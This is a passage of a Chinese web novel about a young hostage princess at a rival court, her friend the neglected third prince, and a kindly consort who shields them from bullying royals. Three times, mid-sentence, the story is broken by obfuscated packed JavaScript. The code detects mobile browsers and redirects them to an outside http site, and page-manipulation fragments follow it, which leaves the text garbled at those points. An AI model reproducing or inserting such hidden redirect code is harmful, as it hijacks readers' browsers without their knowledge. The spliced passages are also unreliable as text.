真不怪他,自他认识杜欢颜以来,就从未见她哭过,明明比自己还小两岁。只是她太坚强,太乐观,总会让人忽视,其实身在离家千里之外的她才是更需要关照的。 好在杜欢颜抒发了心中的委屈也就好了,两人也总算是松了一口气。 只是杜欢颜还窝在淑妃怀里,她想多享受一下久违的温暖。 淑妃娘娘的怀抱也好温暖,好像姐姐…… 8. 阿颜 淑妃娘娘本想着留他两个过夜,但杜欢颜以怕阿若会担心为由拒绝了。淑妃倒也没强求,又给他们拿了好多点心带回去,还叮嘱他们没事就过来玩,实在是盛情难却,两人便接受了。 回来这一路上,杜欢颜还在感慨着这离奇的一天。刚刚一时没忍住委屈,抱着淑妃娘娘痛哭一场,如今情绪稳定下来了,反倒想起了忽略的很多重要的事,于是沉思着问纪如愿: “阿愿,淑妃娘娘,是个什么样的人啊?” 纪如愿仿佛是看出了她的疑惑,安慰的拍拍她的肩膀道: “我和她之前也没怎么接触过,只是偶然碰面时,她都会冲我笑笑,之前我听闻一些路过的宫女们总说,淑妃娘娘待人最是宽厚仁慈,赏赐奴才们也大方,所以宫人们也都盼着能得了福祉去她宫里伺候。” 杜欢颜若有所思的点点头,疑虑依旧没被打消, “只是,我们之前明明没见过,而她在宫殿外只凭借背影就认出我了,而且听她刚才说的,好像很喜欢我,这又是为什么呢?” 杜欢颜百思不得其解,小脸又拧在了一起。 纪如愿其实也有同样的疑问,不过忽又想到些什么, “说起来,淑妃娘娘没有子嗣,想来她也许是觉得你可爱,而且在这里无依无靠的,把你当女儿看了呢?” “原来淑妃娘娘没有孩子吗?无子封妃,还能协理六宫,难道是因为这个,祺昭仪才看淑妃娘娘不过去吗?” “这我就不知道了,我住的偏僻,很少能接触到后宫之事,阿颜你若是很在意,我可以多溜出去帮你留意着。”纪如愿有些不好意思的挠挠头,他不想看阿颜发愁。 “不用啦,我也没有很在意的,淑妃娘娘刚刚还帮了我们,想来就如你所说,她是把我当女儿了呢!可能只是我多虑了呢!” 纪如愿倒是没觉得她的多虑不好,他知她身在异乡,万事都要谨慎些为妙,比起这个,他更为自己忽略了阿颜的委屈难过而自责。 不知为何,他们二人好像总能一眼看出对方的情绪所在,所以她也想到了,自己方才突然痛哭,阿愿肯定会自责。 所以她停下脚步,一字一句的认真道:“阿愿,你听着,我觉得我和你成为玩伴是我来到这里后遇见的第一幸事。 我确实有时会觉得难过,会想念家人,但是你总会出现在我身边,我就又会很快的开心起来。 所以并不是你忽视了我的情绪,而是和你待在一起的时候,我都感到很开心,你也是一样的,不是吗?” “真的吗?阿颜,你真的是这样想的吗?我不知道我还有这样的功效,但是既然阿颜这么说了,我肯定会在以后让你每天都开心的,我要做你第一好的朋友!” 二人对视,皆是一笑,蹦蹦跳跳的拿着点心要回去分给阿若她们尝尝。 阿若早就守在外面,看他们回来了忙执着灯迎上去。 “我的小殿下呀,怎么又这么晚才回来,我听说宴席早就散了,早早就在这里等着,一直等不到你们,提心吊胆的生怕你们出什么事,偏偏殿下你也是,不让我跟去,我都只能干着急!” 阿若左看看右看看自家殿下,那仔细的样子好像要连杜欢颜有没有少跟头发都一起瞧出来。 杜欢颜也自觉理亏,是她非不让阿若和下人们跟过去的,美其名曰可以自己照顾好自己,阿愿也会照顾他,没想到又是他们两人一起生了事端。 她在心里早就把阿若当作姐姐了,如今又害得她担惊受怕,于是乖乖的抬着胳膊给她检查,还原地转了一圈,待阿若检查完,冲她卖乖: “阿若你看,一根头发都没有少哦!我没有遇到危险啦,只是和阿愿在御花园闲逛的时候,碰巧遇到了淑妃娘娘,她人可亲切了,看我们吃不惯宴席上的点心,还带我们回她宫里吃的,之后又一起聊了一会,这才回来晚啦!阿若你瞧,我还带了点心回来给你吃呢!” 她特地省略了遇见纪晔臣和祺昭仪的事,反正也解决了,不必再让阿若平添忧虑了。 纪如愿也连连附和着她,表示确实是这样,又拿出点心分给下人们,阿若总算是相信了,不过还是叮嘱了二人万不可再回来这么晚,哪怕通知下人们去接应他们也好,即便是皇宫,夜里也不安全的。 两人点头如捣蒜,总算是把这事连哄带骗的过去了。 之后的春假,两人没什么事就会去陪着淑妃娘娘聊天。别看淑妃娘娘位高权重的,和他们两个倒是能打成一片。杜欢颜为淑妃做了一个更精巧的弹弓,更是让她欣喜地连连夸赞,又用新得的好料子给二人一人裁了一套新衣裳。 三人在相处中,感情也是越来越好,先前让杜欢颜感到在意的事也得到了解答。 原来淑妃娘娘家父曾是一品太尉,两朝重臣,她本也不该嫁给虞国皇帝,她另有心爱之人。只是皇帝忌惮她家族,为了稳固自己的政权,强行拆散了她和心上人,纳她进了后宫。后来在皇帝的有心安排下,她的家族也日渐没落,为了弥补她,也是为了将他们牢牢控制住,才给她封了淑妃,还给了她协理六宫的权利。看似是位同副后,其实是把她推上了风口浪尖,这么多年她也一直坚持着,早已身心俱疲。 那天偶然路过偏院,瞧见杜欢颜,觉得她和自己小时候的性子像极了,就在背后多留意了些。没想到第一次见面,就是她被人刁难,幸好自己赶上了。 淑妃娘娘也是怕她不接受自己,才一股脑告诉了她这么多年都没和别人说过的事,觉得她实在是像极了年少的自己,所以也是真的想把她当女儿养的。 杜欢颜本来也觉得淑妃娘娘亲切,如今发觉两人连经历都如此相似,一个是有情人被拆散,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928638|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人被迫离开了家人,同样都远离了心爱的人,被困在这深宫中,何其不幸,如今也算是有了知己了。 只是这样愉快的日子总有穷尽之时,比如春假结束了,他们二人又要回到学堂读书,而且已经和纪晔臣结下了梁子,以他挑拨离间的本事,难免不会带着其他人一起找他们二人麻烦。 尽快淑妃娘娘多次表示如果二人遇到麻烦,她可以帮忙解决,但是淑妃娘娘若为了他们二人接二连三的和宫妃们发生矛盾,自己心里又如何过意的去? 两人思考许久,决定能自己解决的事,还是不要麻烦淑妃娘娘了,只是又不能任人欺负,又不能明面上打起来,这可如何是好呢? 终于,在绞尽脑汁思考良久后,两人决定,提高武艺,大显身手,先威慑住他们,再想找麻烦的人肯定心里就会有所顾虑了。 于是在砍断一院子梅花的一年后,杜欢颜又一次的开始了她的练武生涯,这次还拉上了纪如愿一起。 二人风雨无阻,武力值确实有了极大地提升,只不过两人一起练习,难免会有剑纠缠在一起的时候,这样总是有一人的剑会被跳飞,大大降低了效率。 然后两个活宝又想了其他办法,那就是离得远些,各自占据一块地方。 然后终于在某天,断梅悲剧再次重演,两人把鸡笼也砍塌了,一院子的鸡都吓得跑了出来,上蹿下跳的,还有的逃上了屋顶,阿若和宫人们抓了一下午,被鸡啄了无数次,终于才把它们都抓回来。 阿若终于是忍无可忍,每次都替二人善后,把二人劈头盖脸训一顿,依旧会接二连三的出岔子。 因为两位活宝只是面上答应着,背地里不知道又会想出些什么馊主意。 只是这一次,两人真是出奇的消停了好些天都没整出什么乱子,搞得阿若都有些不适应了。 原来是他们暂时转换了思路,因为用剑术对付这些同龄人太过小题大做,要知道,他们来年才会开始正式的武场实操,现在更多的还是纸上谈兵,没准又要给他两人安个什么残害皇肆手足的罪名,那可就得不偿失了。 于是经过精密的思考与改良,决定练习另一种战术—暗杀术!通俗来讲就是偷袭。虽然可能不太光彩,但是可以背地里给人使绊子,还不容易被发现,美哉美哉。 而且二人明显更喜欢这个新的秘技,每天斗得是你来我往,主打一个,不做君子,不择手段。旁人如何评价不晓得,但这二人是满意极了,阿若和宫人们也满意极了,再也不用时不时修补被砍烂的物什了。 二人学成之后还不忘去给淑妃娘娘展示一番,引得娘娘笑语连连,直夸他们两个人小鬼大。 不过其实这种卑鄙手段也没打算对外人用的,毕竟没有很上的了台面,但是现实就是充满了意外,谁也没想到,重回学堂不过两周,就有人按耐不住了。 9. 罚跪 杜欢颜其实很不明白,她才是质子公主,可纪如愿却活得更像话本中悲惨的主角。 等哪天把《质子求生之术》抄录下来也给他一份吧。 不过这就是后话了,眼下她正在快速思考用什么暗器救人。 只因今日夫子夸他更聪敏些,他那所谓的哥哥们,四皇子和五公主,在课上就开始公然对他出言讥讽,又趁她去和夫子请教课业时把纪如愿带走了。 杜欢颜在学堂了解过他们一点,那个四皇子不用说了,蠢钝如猪,还刁蛮霸道,上次挨她一招还不长记性。 哦不对,长记性了,这次知道背着她了。 至于那五公主,杜欢颜对她了解不多,之前偶然听淑妃娘娘提过几句,她上头还有个哥哥,就是当今二皇子,他们的母妃只是个美人,之前在后宫里也是默默无闻的,但不知什么时候仰仗起了贵妃娘娘,在宫里是愈发横行霸道。 又有些想念自家了,兄弟姐妹之间相亲相爱的,哪来的这么多明争暗斗。 虞国皇宫怎么都没个安生的人啊!!! 她了解纪如愿,他那么伶牙俐齿,若论吵架绝对吵得赢,怕得是他们以多欺少。 所以一从夫子那里回来,她发现纪如愿没等她,立刻就意识到了不对,还好还好,他们没走多远,这群人欺负人都不避着点,想来是有人在背后故意遮掩这些腌臢事。 她轻手轻脚的躲在了树丛后扒望,眼前一幕却是惊得她差点暴露。 纪如愿被几个宫人摁住,那四皇子和五公主就在他面前讥讽他,他被宫人死死摁着头,连还嘴都不能够。 直到那嚣张的五公主又开始贬低他的身世,辱骂他的母妃,他终于拼尽力气挣脱了两个小厮,抬起头恶狠狠的瞪着他们,却被直接甩了一巴掌,甚至要让小厮压着他跪下。 再后来,杜欢颜彻底看不下去了,是可忍孰不可忍,没时间想战术了。 她随手捡了块尖石头,拿起弹弓让那石头擦过公主的脸飞过去。她当然没想做让人彻底破相的事,不过得给她颜色瞧瞧,那石头只是划出了一道浅浅的痕迹,只擦破了皮,都没有流血。 那蠢公主却是直接尖叫着捂着脸,指着手四处也找不见人,支支吾吾了半天。旁边那四皇子也反应过来,大喊着让伤害他妹妹的人快出来,还那剑耀武扬威的乱挥。 然后不出所料的,他也被杜欢颜打中了胳膊,震得双手发麻丢开了剑,还吃痛得喊叫着。 “夫子没告诉过你,兄友弟恭的道理吗?还是说,你已经蠢的,都听不懂这句话了?”杜欢颜一边挑衅他,一边趁他不注意把剑一脚踢远,谁知道他会不会把剑捡起来打套醉拳。 “又是你!杜欢颜!你不过是一个小小的质子,竟然居然还敢伤人?” “说你蠢都不反驳了,你哪只眼睛看见我动手了,怎么不说是自己平日里作恶太多,鬼都看不下去了,所以白日撞鬼了呢?空口白牙诬陷亲善大使,你比我大胆呀!” 她说着还用余光瞄着纪如愿那边,那两个小厮也是顽固,自家主子被打了,还摁着纪如愿不放。 于是她转头又对着那五公主开口, “还有那边的小公主,不过是母妃攀附上了贵妃娘娘,就在这里颐指气使,全然没有半分公主的仪态,我刚刚路过还以为有人在皇宫里杀猪。” “啪”的一声,杜欢颜的脸上就落了个红红的印子。那五公主被她气急了又说不过她,直接抬手打了她。 现在我打她,应该算是互殴了吧,杜欢颜想着。 随后一脚踹在了纪晔臣身上。 形势变化太快,纪晔臣来不及闪躲,直接被踹倒在地,衣服上留了个脚印,看上去侮辱性极强。那五公主还要尖叫着去救纪晔臣,被杜欢颜一把扯住衣领,随后对着她的脸左右开弓。 “算上刚才你打纪如愿的,一共两巴掌,还给你。” 幸亏平时不光练剑,还练了耍大刀,那五公主力气轻飘飘的,她可不一样,这两巴掌下去,直接把人扇肿了,现在看来,确实像猪头了。 那边的小厮在自家皇子被踹翻在地时就松开了纪如愿,冲着杜欢颜张牙舞爪的扑过来。 好在皇子伴读也不过十三四岁,直接就被纪如愿从背后一人来了一拳。 这偷袭术练得也太好了吧。 就在杜欢颜拍拍手决定和纪如愿离开时,不知从哪又冒出来个人。 来者上下打量她一眼,语气不屑,“我当是谁呢,原来啊,是我们的,质子公主,你打了我妹妹,就想这么走掉吗?” 哦,原来是她哥,那个二皇子,怎么一个两个都这么闲吗。 杜欢颜累极,没好气的说:“没猜错的话,你刚刚就站在附近吧,在妹妹挨打完才跳出来,是要给我演个螳螂捕蝉,黄雀在后?那你是不是忘了,是她先动的手,现在,你觉得你这个黄雀想拿我,还在理吗?” 二皇子却没有和她争吵,只是漫不经心道: “这件事当然是小妹理亏,我只不过提醒一下公主你,那边的四弟可没动手,你打算如何交待呢? 当然我也不是来指认你有什么罪的,小妹贪玩,我就先带走了,不过我奉劝公主一句,四弟那边,祺昭仪可不会善罢甘休,既然你已经被自己国家送过来了,还是收收威风,毕竟这里可不是容国,你这个人质公主的位置,可不一定能坐的了多久。” “用不着你假惺惺的,容国只是不想让百姓受更多战乱的苦罢了,我是作为亲善大使过来的,可并非你口中的人质,难道没人告诉过你,不要招惹我吗,你最好看看能不能承担得起这个责任。” 杜欢颜带着纪如愿回了自己宫院,纪如愿则是一脸担忧, “阿颜,你那么做,真的不会有事吗,父皇他,他很宠爱二哥。” “嗯?你说会不会有事?这件事他理亏,就算你父皇再宠爱他,也不会直接找我麻烦的,毕竟当初他可是和我父皇谈了条约的,动我相当于再次宣战,我想二皇子也清楚,为了这一点事惊动自己父皇,恐怕得不偿失。” “阿颜,你本不用为我做这些的,我这般又是把你拖进火坑了。” “我们现在可是一条绳上的蚂蚱,就算没有你,他们最后也会欺负到我头上,如今是帮你,也是在帮我自己,我想,即使是他们找我麻烦,应该也不会太麻烦的,别担心,阿愿。” 杜欢颜确实没等来她的麻烦,因为麻烦找上了纪如愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928639|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 隔天一大早他就被带去了祠堂,那凶恶的嬷嬷奉嘚是祺昭仪的命令,添油加醋,颠倒黑白,把欺负手足的罪名强行安在他头上,罚他受十大板,并在祠堂罚跪一天。 杜欢颜本想求淑妃娘娘,可碰巧那日淑妃娘娘正在伴驾,她怎么也没等来帮助。 在打完五板子后,她带着仆从匆忙赶过来,甩了那嬷嬷一巴掌,把纪如愿扶了下来。 嬷嬷受了那一巴掌,气得出气都少了,但她不敢动杜欢颜,只能没好气的说:“小殿下,你要找老奴撒泼,老奴不敢招惹你,自然只能受着,只是这三皇子殿下,老奴是奉了祺娘娘的命,没得娘娘的意,谁也不能带走他。” “我没要带走他,刚刚我不是打了你吗,现在我自认受罚,这剩下的板子,我替他受。” 说罢躺在了木床上,阿若也扑上去,却被那嬷嬷瞪了一眼,接着被带来的奴才们强行拉了。 那老奴似是为了泄恨,一边说着您可是自愿的,伤着您可不能愿老奴,一边抽得愈加狠戾,而纪如愿也被剩下的人死死摁着跪在地上。 刑罚终于结束,那嬷嬷还假意扶起了杜欢颜: “小殿下,别怪老奴多嘴,您和这三皇子混在一起,可得不了什么好处,眼下替他受了板子,可他还是得跪在这,您啊,快先请吧。” 杜欢颜不理睬她,撑着被阿若扶着来到纪如愿身边,干脆的跪了下去。 “四皇子人是我伤的,话是我骂的,本就该是由我受罚,反倒让阿愿替我挨了板子,如今我人就在这,你不让我带他走,那我就也跪在这。” 那嬷嬷说不过她,也不再理会,只是硬生生的看了他们跪了一整天,直到月亮高悬才没好气的离开。 那嬷嬷一离开,两个小孩立刻就躺在了祠堂地上,说什么也起不来了,生生的跪了一天,腿都痛得没法动了。 阿若想扶起杜欢颜,又怕她疼,心疼地一边掉眼泪,一边吩咐着人去拿伤药。 纪如愿想转头看看阿颜如何,可他自己也动弹不得,只好仰着面涩声怪她, “她要罚我一个人不就好了,你干嘛非要一直陪着我跪,一下罚了两个,这岂不是被她占了便宜去了!” “我说纪如愿,你的想法还真是清奇。而且,本来人就是我打的,他们不过是不敢轻易动我,才把怒气都发泄到你身上。” 杜欢颜微微侧过身子,想看看他,却发现他在掉眼泪。 “阿颜……你当初是为了不让我给他们下跪,可我今日还是跪了,还连带着你,我是不是很没用,阿颜。” “说什么呢,我们今日跪得可不是恶人,是神佛,我早就想为家人诵经祈福了,刚刚一直祈求神佛保佑我的家人朋友呢,可诚心了,肯定会灵验的!” “而且呀,我像是那么无情无义的人吗,怎么忍得了你给那些恶人下跪,当日就算不是你,换做是其他人被欺负,我也会出手制止的,谁叫我正义呢!” 少女的眉眼澄澈,眼神中又是无比的坚定,让纪如愿定定的望了好久,感谢的话太轻,眼泪又太沉重, “神佛会保佑你的,阿颜,因为我也在为你祈祷,抵上我这个皇子的命数,保佑你以后顺遂。” 10. 燕燕,颜颜 杜欢颜费力的撑起身子,伸出手轻轻抹掉他的泪珠,又将他轻轻揽在肩上, “不需要你的命数,我也会顺遂的,阿愿,不要哭。” 只是身上到底还是太痛了,十几岁的孩子,挨了板子,还跪了一天,滴水未进。 纪如愿倒是习惯了,他以前也经常过这样的日子,但是杜欢颜不一样,她是被宠爱长大的小公主,最大的责罚也就是闹别扭少吃一顿饭,能强撑到现在已是不可思议,只是最终没等来下人们,就晕了过去。 “起来了颜颜,今天不是要去放纸鸢吗,快起来了!” 杜欢颜懵懵的睁开眼,颜颜?好久没听到过有人这么叫自己了,记得最后一次还是父皇和姐姐们为自己送别…… “姐姐?”杜欢颜猛地弹了起来,吓了身边人一跳。 “你可醒了,今天大哥要带我们去放纸鸢了,你若是再赖床,我都打算丢下你自己去了!”二姐一边佯装嗔怪她,一边为她快速的换上衣裙。 “放纸鸢?”杜欢颜还是懵懵的,任由二姐施为。 “是啊,你上次放纸鸢不是掉在外国使者头上了吗,皇姐就罚你不许再放,你又跑去求皇兄,我俩一起缠着大姐才让她同意了。小白眼狼,你不会忘了吧?”说罢还用手指指杜欢颜的额头。 “啊,刚刚做了噩梦,一时没想起来,原来就是今天吗?” 此时二姐也为她穿戴好了,又拉着她来吃早膳, “嗯?颜颜做了什么噩梦?” 杜欢颜摇摇头,冲二姐姐傻呵呵的笑, “已经忘啦,想来应该也没有很可怕,我们快走吧!”她草草吃了几口食物就迫不及待的拉着杜长乐跑出门。 “哥哥!我们来啦!”杜欢颜一下飞扑到自己哥哥怀里,不知为何,她今天突然很想念哥哥。 杜怀瑾一把将她揽进怀里,揉着她的头笑道:“颜颜今日怎么这般热情,莫不是又惹了什么祸,要哥哥去为你摆平?” 杜欢颜不高兴的嘟囔着:“才不是呢!就是见到哥哥,突然觉得好高兴!” “就看见哥哥觉得高兴了,怎么没看见我?颜颜你也是个小没良心的。” 杜欢颜这才将头抬起来,就看见大姐也站在一边,满脸笑意的看着她。 “大姐姐,你今天也来陪我们吗?” 杜若锦弯下腰,恶作剧般用手捏捏杜欢颜的小脸,听她吃痛的小声挣扎了一下,才满意的松开手,又摆出一副架子,一板一眼道: “我这不是怕你们又玩疯了,若是再把纸鸢飞到哪个大臣或者使者头上,该怪我这个长姐管教不严了。” 她又转头拿出四个纸鸢,递给那三个人,自己也拿了一个, “喏,给你们都准备了,今日练武场没人,我们可以去那里,那地方宽阔,正好玩个尽兴。” 杜欢颜拿到的是一只燕子纸鸢,翅膀宽大,按理说最容易起飞。只是无论她怎么快跑,那燕子都只低空飞了一小段就落在地上。 她想请哥哥姐姐帮帮她,一抬头却发现他们跑得越来越快,越来越远,她只能抱着自己的燕子努力的追。她想喊出声,喉咙却像被堵住,发不出半点声音,急得来不及掉眼泪,只无声的越跑越快,那纸鸢早已被她丢在地上,只是哥哥姐姐的身影越来越模糊,她也终于支撑不住倒在地。 别丢下我,不要丢下我,帮帮我,救救我。 “姐姐!” 她一下从床上弹起来,冷汗直流,还打翻了什么东西。 “娘娘!您的手!”有人惊呼一声扑过来。 杜欢颜僵硬的望着前方,不是自己的家。她又转过头,好几张熟悉的面孔,脸上无不透露着担忧,是谁…… 她定定的缓了好一会儿,终于想起来。是了,这是虞国,只是这似乎也不是自己的寝宫,那自己这是在哪。 她又望向身边的女人,那女人手上被烫红一大片,但她似乎毫不在意,眼睛一眨不眨的盯着自己,眉头也仅仅皱在一起, “阿颜,你还好吗?” 杜欢颜张张嘴,梦里失语的恐惧似乎还萦绕在心头,又是好一会儿才找到自己的声音,开口却是一片嘶哑: “淑妃娘娘?” “是,阿颜,是我,是淑妃娘娘,别怕,别怕。”淑妃轻轻探过来,将她搂在怀里安抚着, “出汗了就好,出汗了病就好了,快去拿水,然后再盛一碗药来!” 杜欢颜茫然的靠在她的怀里,慢慢地被喂了一点水,终于是又能出声了, “淑妃娘娘,我怎么在这,发生什么了?” 她又想起些什么,突然紧张:“娘娘,阿愿呢?阿愿在哪?” 淑妃抚着她的背,也不顾自己的衣裳被汗浸湿,放平声音轻柔着说: “别担心,他呀,在外面给你看着熬的药呢,一会儿我把他叫进来。” 杜欢颜松了口气,又问: “那,我为何会在娘娘宫里,我记得我和阿愿在祠堂罚跪完,要离开,我就晕了…” “是啊,之后宫人们带你们回去了,可你夜里就发了热,如愿他夜里就急匆匆地跑来寻我,还好我回来了,这才赶过来把你带到了我这里。 你那小丫鬟本想去找太医的,可太医院却说今日都出诊了,没人在。那祺昭仪断没有那么大的能力,能让太医院都听她的命令。想来是她联合了二皇子母妃,宜美人,去求了贵妃,支走了太医,好让你们扑个空。”淑妃语气都含着恨,想来也是气急。 杜欢颜低着头,若是细看会发现她在哭丧着脸。她努力咽着眼泪, “对不起,淑妃娘娘,我又给您添麻烦了,我,我不知道会招惹到贵妃,我以为只要领了罚,就不会有事了,我真的对不起您。” 淑妃收起刚才那气愤的表情,又带上温和的笑, “怎么会添麻烦呢,是他们先动手打了人,你不过是还回去,小欢颜,不是你的错,你没有错。 而且呀,也不是你惹了贵妃,说来这还是我给你惹的麻烦。贵妃她,一直视我为敌,你们前些日子总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928640|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来我宫里陪我,想来是让她知道了,她这么多年没少给我使绊子,这次恐怕是把对我的怨恨都迁怒到你们身上了。” 她突然捂住脸,痛苦的说: 对不起,小欢颜,是我没保护好你,我早该想到她们会趁我不在的时候动手了,可我还是丢下了你们。” 她移开手,脸上沾满了泪水,又将杜欢颜紧紧的搂在怀里,像是自言自语一般呢喃着: “我已经失去一个孩子了,我不想失去你了,小欢颜,小欢颜。” 信息量太大,小欢颜还来不及思考,手就已经环住了淑妃, “娘娘,我在呢,我没走,我不离开您,娘娘别哭。” 这边纪如愿正和阿若一起看着药锅,听屋里出来的小丫鬟说阿颜已经醒了过来,丢下阿若就冲进屋。 “阿颜!你醒了!” 只是他一进屋,就看到两人皆是满脸泪痕,还以为又出了什么事,声音也发起了颤: “阿颜,淑妃娘娘,你们还好吗?” 淑妃擦掉眼泪,说着自己无事,正巧小丫鬟也拿了敷药过来,要为淑妃烫红的手敷一敷,她就顺势出去了,留下他们二人。 杜欢颜刚想开口说自己没事了,不想被纪如愿一把抱住, “抱歉失礼了,阿颜……别推开我……”杜欢颜抬起的手只好放下,她其实是想安慰安慰他,却有豆大的泪珠落在自己肩头,洇湿了布料。 “阿颜,阿颜,我好害怕,我好害怕你也会离开我,你那天发着热,一直在迷迷糊糊的哭,我找不到太医,只能去求淑妃娘娘。是我害了你,你怨我吧,打我吧,就是不要丢下我。” 杜欢颜觉得好笑:“你怎么都不长记性的,我那天说了,不怪你,怎么又怕成这样。”她也不好说过重的话,免得又刺痛纪如愿的心, “怎么哭得这样惨,明明之前还自许为我哥哥呢,哪有哥哥在妹妹这里哭成这样的?如愿,阿愿。” 终于把纪如愿从自己怀里捞出来,一波未平一波又起,阿若又哭嚷着跑进来,这次倒没直接把她抱在怀里,只是站在床边抿着唇,任由眼泪撒落。 杜欢颜突然有些不合时宜的想到,当初孟姜女哭倒长城,是不是也需有如此甚至更多的泪水呢。 她这么想了,嘴上也这么调侃了: “好啦好啦,瞧咱们今日一个个的,都能去哭倒第二个长城哩!”说罢还调皮的冲阿若做了个鬼脸,又拉着她的手, “阿若你看,我这不是生龙活虎的吗?可不能再掉金豆子了,那可掉福气!” 阿若嗔怪地喊她: “殿下!阿若的福气都掉光了又如何,就当是为了殿下祈福了,我自是愿意的!” “好阿若,我又不是纸糊的,不过一场小病,而且呀,有你们几个在,我哪敢不痊愈呢?” 三人终于都破涕而笑,亲亲爱爱的牵着手。 淑妃娘娘一进来,便是看见他们这副开心的样子。 “不过接下来,我们得打算点别的了。” 11. 鬼打墙 “娘娘,您的意思是……” “当然是寻个机会给他们点颜色瞧瞧啦!这你们都能忍得下去,还是不是小孩子了?”淑妃娘娘一拍桌子,愤愤道。 “只是,我们该怎么做呢,上次反击回去了,结果挨了板子,还被罚跪了。”杜欢颜托着腮疑惑着。 “是啊,而且我们已经和他们结下梁子了,若是他们那边出了什么异动,肯定会先怀疑上我们吧。”纪如愿也在一旁附和着。 “所以肯定不能明争,不过我们可以暗斗呀!”淑妃得意的笑一下,还故意停下来。 两个孩子见状,一边一个的晃着淑妃的袖子,央求着: “娘娘,您就别卖关子了嘛,告诉我们吧,好娘娘!” 好啦好啦,告诉你们便是。首先呢,得降低我们自己的怀疑,需得有个证人,知晓我们的动作,最好呀由他们自己当这个证人,而涉案人员呢,最好也是他们那边的人,我们再在暗地里行动,这样不就怀疑不到我们头上了吗?” “好是好,不过我们具体是要做什么呢?” 淑妃勾勾手,几个人靠在一起开始秘密协商。 且说这四皇子那日被杜欢颜一脚踹翻,小厮和妹妹都看在眼里,虽说后来这杜欢颜受了罚,可自己到底是丢了面子,几日都气得睡不着,想着怎么把面子赢回去。 可巧这日下了学堂,杜欢颜又去找了夫子请教问题,纪晔臣心觉这是个好机会,但是纪如愿还在这里,得想办法支开他。 他于是大摇大摆的走到纪如愿面前: “呦,又在等那人质公主呢?” 纪如愿不愿与他多说,起身想要躲他远点,却被纪晔臣一伸手拦住。 “诶?着急走什么呢,莫不是怕了?我也是觉得稀奇,我若是她,断不会和你这个落魄子在一处,免得诶,惹火上身。” “阿颜不是那样的人,而且我们如何,又关你什么事?” “那你也不想想,杜欢颜怎么这么久都没回来,想来五妹妹那边已经把她困住了。”其实这只是他随便扯得谎,但是纪如愿一遇到和阿颜有关的事便慌了神,想也不想就朝着那边跑去了。 “白痴,这就上当了,这下看你们怎么和我斗。” 待杜欢颜出来,就看见纪晔臣等在那里。 “你又来做什么,上次挨那一脚还不嫌够吗?”杜欢颜冷冷地冲他发问。 “你!呵,上次不过是被你侥幸偷袭到了,不如这次,我们正经的比试比试,看看到底是谁更厉害些。”纪晔臣强压下自己的情绪,她居然还敢提那一脚! “没兴趣,我要回去了。”她四处看了看,没见到纪如愿人,纪晔臣还在那里一脸奸笑, “现在发现你的好玩伴不见了?” “又是你!阿愿他人呢?你把他怎么了!”杜欢颜厉声喝道。 纪晔臣不答反问: “想知道?你跟我过来,我们比试一场,你赢了我就告诉你,不然我可不保证会对他做什么。” 杜欢颜拿他没办法,只好跟了去。两人左拐右拐的到了一处偏僻林子。 “不是要比试吗?怎么来这么个偏僻地方?”杜欢颜的眉头轻轻皱起,总觉得不太对。 “别急呀小公主,这不是怕在别的地方,被人看到你我打在一起,显得多不和睦,这才找了这么个好地方。” 杜欢颜不愿再与他多扯,直言道: “那就快开始,别浪费时间。” 纪晔臣扔给她一把剑,自己也拿出剑迎上去。 两人一开始还斗得有来有回,慢慢地杜欢颜这边就开始力不从心了。原是那纪晔臣早就在她的剑上动了手脚,还引着她往一处走。 在她踩空一处之时,趁机将她的剑挑飞开来。 “你输了。”纪晔臣看杜欢颜摔在地上,心中一阵畅快。 “那阿愿怎么办,不行!我们再来!”杜欢颜想撑着自己起身,双脚却是疼痛万分,原是刚才踩空扭到了。 “杜欢颜,你这莫不是要耍赖?实话告诉你吧,纪如愿根本不在这,他啊,早就被我五妹妹引开了,至于去了那里,就看他自己吧,这天也黑了,我就不奉陪了”他心情大好,狞笑离去。 天色已深,这偏僻的地方更不会有人经过,纪晔臣想着,这可怜的小公主估计只能爬着回去了,大仇得报,脚步都轻快了。 只是他走了好一阵儿,却仍未走出这林子,以为是天黑看不清路,走错了路,将自己的剑穗解了下来,挂在一棵树上作为路标,继续往前。 他又走了一会儿,还是没能出这林子。方才光顾着要戏弄那两人,也没带上小厮,怎么路都记不清了。 正当他不解的走向一条路时,突然看见了自己的剑穗, “原来真是走错了!”纪晔臣一拍脑袋,暗骂那群奴才们也不来找自己,又解下玉佩挂在另一边的树上,这次两边都做了记号,总不会有错了。 他的信心在再次看见这两个信物时崩塌了。而且,那剑穗和玉佩竟挂在同一棵树上,可自己分明将它们挂在了两边!这到底是怎么回事。 他急急得往回跑,回到刚才那个地方,发现杜欢颜还在原地,捂着脚试图站起来。 